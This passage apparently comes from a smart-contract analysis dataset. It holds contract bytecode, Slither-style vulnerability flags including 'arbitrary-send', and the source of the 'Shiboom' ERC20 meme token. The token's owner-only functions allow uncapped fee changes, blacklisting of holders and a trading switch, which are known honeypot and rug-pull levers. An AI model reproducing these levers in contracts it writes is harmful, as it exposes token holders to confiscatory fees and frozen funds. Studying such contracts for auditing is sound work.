6106d9565b34801561038857600080fd5b506101cf610397366004611986565b610753565b3480156103a857600080fd5b506101706103b7366004611a09565b610760565b3480156103c857600080fd5b50610170610879565b3480156103dd57600080fd5b506101706103ec366004611ace565b610930565b3480156103fd57600080fd5b5061017061040c366004611ace565b61097b565b34801561041d57600080fd5b506101f661042c366004611aeb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046357600080fd5b50610170610472366004611b24565b610bd6565b34801561048357600080fd5b50610170610492366004611ace565b610c4c565b6000546001600160a01b031633146104ca5760405162461bcd60e51b81526004016104c190611b3d565b60405180910390fd5b60006104d530610681565b90506104e081610ce4565b50565b60006104f0338484610e5e565b5060015b92915050565b6000610507848484610f82565b610559843361055485604051806060016040528060288152602001611cb6602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113c2565b610e5e565b5060019392505050565b6000546001600160a01b0316331461058d5760405162461bcd60e51b81526004016104c190611b3d565b60005b81518110156105f5576000600560008484815181106105b1576105b1611b72565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ed81611b9e565b915050610590565b5050565b6000546001600160a01b031633146106235760405162461bcd60e51b81526004016104c190611b3d565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f5573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f4906113fc565b6000546001600160a01b031633146106cd5760405162461bcd60e51b81526004016104c190611b3d565b6106d76000611480565b565b6000546001600160a01b031633146107035760405162461bcd60e51b81526004016104c190611b3d565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f0338484610f82565b6000546001600160a01b0316331461078a5760405162461bcd60e51b81526004016104c190611b3d565b60005b81518110156105f557600c5482516001600160a01b03909116908390839081106107b9576107b9611b72565b60200260200101516001600160a01b03161415801561080a5750600b5482516001600160a01b03909116908390839081106107f6576107f6611b72565b60200260200101516001600160a01b031614155b156108675760016005600084848151811061082757610827611b72565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087181611b9e565b91505061078d565b6000546001600160a01b031633146108a35760405162461bcd60e51b81526004016104c190611b3d565b600c54600160a01b900460ff166109075760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c1565b600c805460ff60b81b1916600160b81b17905542600d81905561092b906078611bb7565b600e55565b6000546001600160a01b0316331461095a5760405162461bcd60e51b81526004016104c190611b3d565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a55760405162461bcd60e51b81526004016104c190611b3d565b600c54600160a01b900460ff1615610a0d5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c1565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a889190611bcf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af99190611bcf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6a9190611bcf565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c005760405162461bcd60e51b81526004016104c190611b3d565b600f811115610c475760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104c1565b600855565b6000546001600160a01b03163314610c765760405162461bcd60e51b81526004016104c190611b3d565b6001600160a01b038116610cdb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c1565b6104e081611480565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2c57610d2c611b72565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da99190611bcf565b81600181518110610dbc57610dbc611b72565b6001600160a01b039283166020918202929092010152600b54610de29130911684610e5e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1b908590600090869030904290600401611bec565b600060405180830381600087803b158015610e3557600080fd5b505af1158015610e49573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c1565b6001600160a01b038216610f215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c1565b6001600160a01b0382166110485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c1565b600081116110aa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c1565b6001600160a01b03831660009081526005602052604090205460ff16156111525760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c1565b6001600160a01b03831660009081526004602052604081205460ff1615801561119457506001600160a01b03831660009081526004602052604090205460ff16155b80156111aa5750600c54600160a81b900460ff16155b80156111da5750600c546001600160a01b03858116911614806111da5750600c546001600160a01b038481169116145b156113b057600c54600160b81b900460ff166112385760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c1565b50600c546001906001600160a01b0385811691161480156112675750600b546001600160a01b03848116911614155b8015611274575042600e54115b156112bb57600061128484610681565b90506112a4606461129e678ac7230489e8000060026114d0565b90611552565b6112ae8483611594565b11156112b957600080fd5b505b600d5442036112e8576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f330610681565b600c54909150600160b01b900460ff1615801561131e5750600c546001600160a01b03868116911614155b156113ae5780156113ae57600c546113529060649061129e90600f9061134c906001600160a01b0316610681565b906114d0565b81111561137f57600c5461137c9060649061129e90600f9061134c906001600160a01b0316610681565b90505b600061138c826005611552565b90506113988183611c5d565b91506113a3816115f3565b6113ac82610ce4565b505b505b6113bc84848484611623565b50505050565b600081848411156113e65760405162461bcd60e51b81526004016104c1919061190c565b5060006113f38486611c5d565b95945050505050565b60006006548211156114635760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c1565b600061146d611726565b90506114798382611552565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036114e2575060006104f4565b60006114ee8385611c74565b9050826114fb8583611c93565b146114795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c1565b600061147983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611749565b6000806115a18385611bb7565b9050838110156114795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c1565b600c805460ff60b01b1916600160b01b1790556116133061dead83610f82565b50600c805460ff60b01b19169055565b808061163157611631611777565b60008060008061164087611793565b6001600160a01b038d166000908152600160205260409020549397509195509350915061166d90856117da565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461169c9084611594565b6001600160a01b0389166000908152600160205260409020556116be8161181c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170391815260200190565b60405180910390a3505050508061171f5761171f600954600855565b5050505050565b6000806000611733611866565b90925090506117428282611552565b9250505090565b6000818361176a5760405162461bcd60e51b81526004016104c1919061190c565b5060006113f38486611c93565b60006008541161178657600080fd5b6008805460095560009055565b6000806000806000806117a8876008546118a6565b9150915060006117b6611726565b90506000806117c68a85856118d3565b909b909a5094985092965092945050505050565b600061147983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c2565b6000611826611726565b9050600061183483836114d0565b306000908152600160205260409020549091506118519082611594565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118818282611552565b82101561189d57505060065492678ac7230489e8000092509050565b90939092509050565b600080806118b9606461129e87876114d0565b905060006118c786836117da565b96919550909350505050565b600080806118e186856114d0565b905060006118ef86866114d0565b905060006118fd83836117da565b92989297509195505050505050565b600060208083528351808285015260005b818110156119395785810183015185820160400152820161191d565b8181111561194b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e057600080fd5b803561198181611961565b919050565b6000806040838503121561199957600080fd5b82356119a481611961565b946020939093013593505050565b6000806000606084860312156119c757600080fd5b83356119d281611961565b925060208401356119e281611961565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a1c57600080fd5b823567ffffffffffffffff80821115611a3457600080fd5b818501915085601f830112611a4857600080fd5b813581811115611a5a57611a5a6119f3565b8060051b604051601f19603f83011681018181108582111715611a7f57611a7f6119f3565b604052918252848201925083810185019188831115611a9d57600080fd5b938501935b82851015611ac257611ab385611976565b84529385019392850192611aa2565b98975050505050505050565b600060208284031215611ae057600080fd5b813561147981611961565b60008060408385031215611afe57600080fd5b8235611b0981611961565b91506020830135611b1981611961565b809150509250929050565b600060208284031215611b3657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611bb057611bb0611b88565b5060010190565b60008219821115611bca57611bca611b88565b500190565b600060208284031215611be157600080fd5b815161147981611961565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c3c5784516001600160a01b031683529383019391830191600101611c17565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c6f57611c6f611b88565b500390565b6000816000190483118215151615611c8e57611c8e611b88565b500290565b600082611cb057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a2dab39aaeeb04637c71c29cdcb8ff4d96a8b0f9ed44ec1ecf66db6d030224c064736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 892 |
0x1213e4920e593392905cd1f678eb7a6c43928113 | /**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
// SPDX-License-Identifier: Unlicensed
//Shiboom
//BOOM!
//The prosperity of shib will lead to the prosperity of meme coins
//we are the protectors of shitcoins, we hate shiba predator, only the rise can convince everything.
//No team, only buy
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Shiboom is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiboom";
string private constant _symbol = "SHIBOOM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xf3CdE8eA1515D3652095AB7443133CF94E4C27F9);
address payable private _marketingAddress = payable(0xf3CdE8eA1515D3652095AB7443133CF94E4C27F9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000001 * 10**9;
uint256 public _maxWalletSize = 100000001 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104b057600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611953565b6105fb565b005b34801561020a57600080fd5b50604080518082019091526007815266536869626f6f6d60c81b60208201525b6040516102379190611a18565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611a6d565b61069a565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b50678ac7230489e800005b604051908152602001610237565b3480156102d957600080fd5b506102606102e8366004611a99565b6106b1565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610237565b34801561032b57600080fd5b50601554610290906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ada565b61071a565b34801561036b57600080fd5b506101fc61037a366004611b07565b610765565b34801561038b57600080fd5b506101fc6107ad565b3480156103a057600080fd5b506102bf6103af366004611ada565b6107f8565b3480156103c057600080fd5b506101fc61081a565b3480156103d557600080fd5b506101fc6103e4366004611b22565b61088e565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ada565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610290565b34801561045657600080fd5b506101fc610465366004611b07565b6108bd565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b50604080518082019091526007815266534849424f4f4d60c81b602082015261022a565b3480156104bc57600080fd5b506101fc6104cb366004611b22565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b3b565b610934565b3480156104fc57600080fd5b5061026061050b366004611a6d565b610972565b34801561051c57600080fd5b5061026061052b366004611ada565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b6d565b6109d3565b34801561058157600080fd5b506102bf610590366004611bf1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b22565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ada565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c2a565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c5f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c8b565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611da3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c2a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c2a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c2a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c2a565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c2a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c2a565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c2a565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c2a565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c5f565b9050602002016020810190610a349190611ada565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c8b565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c2a565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c2a565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152